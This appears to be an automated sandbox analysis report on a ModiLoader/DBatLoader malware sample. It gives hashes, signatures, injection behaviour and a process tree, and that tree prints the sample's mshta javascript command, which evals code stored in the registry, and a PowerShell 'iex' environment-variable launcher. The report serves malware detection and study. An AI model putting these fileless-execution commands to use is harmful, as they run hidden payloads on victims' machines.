Analysis
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max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
28-05-2024 16:02
Static task
static1
Behavioral task
behavioral1
Sample
7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
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Size
260KB
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MD5
7d8cb3afba3fcc5a19dcdc7b68c7d088
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SHA1
d8899b23a57ccd6b8762c7d5fa447b646d91f0af
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SHA256
28ad354b5f3bc99707a840b3d72eb5e1c5dbd1474591bb48f3497071cc024f9c
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SHA512
e4c96fbb5d7642a02fc426b6b597ce627b3edbdae04c6666026513e9dfdd84b323c164e3340db171956776729a925c2d84ff3b93aa162d51b05c8329fda454c8
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SSDEEP
6144:TojPGsjKyqnH8nZwM7I4Ar2TFYYjHlQbO:Teeshqncnjc4R7jHlQbO
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4504 2928 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/700-2-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/700-4-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/700-5-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/700-6-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 behavioral2/memory/700-7-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 behavioral2/memory/700-10-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 behavioral2/memory/700-9-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 behavioral2/memory/700-8-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 behavioral2/memory/700-11-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 behavioral2/memory/700-12-0x0000000000990000-0x0000000000A66000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exedescription pid process target process PID 1692 set thread context of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1724 powershell.exe 1724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1724 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exepid process 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exemshta.exedescription pid process target process PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 1692 wrote to memory of 700 1692 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe PID 4504 wrote to memory of 1724 4504 mshta.exe powershell.exe PID 4504 wrote to memory of 1724 4504 mshta.exe powershell.exe PID 4504 wrote to memory of 1724 4504 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"2⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:LJpM7ju="RQTxa";c2s4=new%20ActiveXObject("WScript.Shell");Lpel73bkp="LS";lsbu0=c2s4.RegRead("HKLM\\software\\Wow6432Node\\Xpa7mb\\mHcXqYrdD");yka2O0="06iFtm";eval(lsbu0);SPjfe6yx="Him6K";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rqecreuc2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2oz1mja.vib.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/700-10-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-11-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-6-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-7-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-2-0x0000000000400000-0x000000000043A000-memory.dmpFilesize
232KB
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memory/700-9-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-8-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-12-0x0000000000990000-0x0000000000A66000-memory.dmpFilesize
856KB
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memory/700-4-0x0000000000400000-0x000000000043A000-memory.dmpFilesize
232KB
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memory/700-5-0x0000000000400000-0x000000000043A000-memory.dmpFilesize
232KB
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memory/1724-30-0x00000000064F0000-0x000000000653C000-memory.dmpFilesize
304KB
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memory/1724-16-0x0000000005730000-0x0000000005752000-memory.dmpFilesize
136KB
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memory/1724-17-0x0000000005F30000-0x0000000005F96000-memory.dmpFilesize
408KB
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memory/1724-18-0x0000000005FA0000-0x0000000006006000-memory.dmpFilesize
408KB
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memory/1724-32-0x00000000069B0000-0x00000000069CA000-memory.dmpFilesize
104KB
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memory/1724-28-0x0000000006010000-0x0000000006364000-memory.dmpFilesize
3.3MB
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memory/1724-29-0x00000000064C0000-0x00000000064DE000-memory.dmpFilesize
120KB
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memory/1724-14-0x0000000005120000-0x0000000005156000-memory.dmpFilesize
216KB
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memory/1724-31-0x0000000007D20000-0x000000000839A000-memory.dmpFilesize
6.5MB
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memory/1724-15-0x0000000005790000-0x0000000005DB8000-memory.dmpFilesize
6.2MB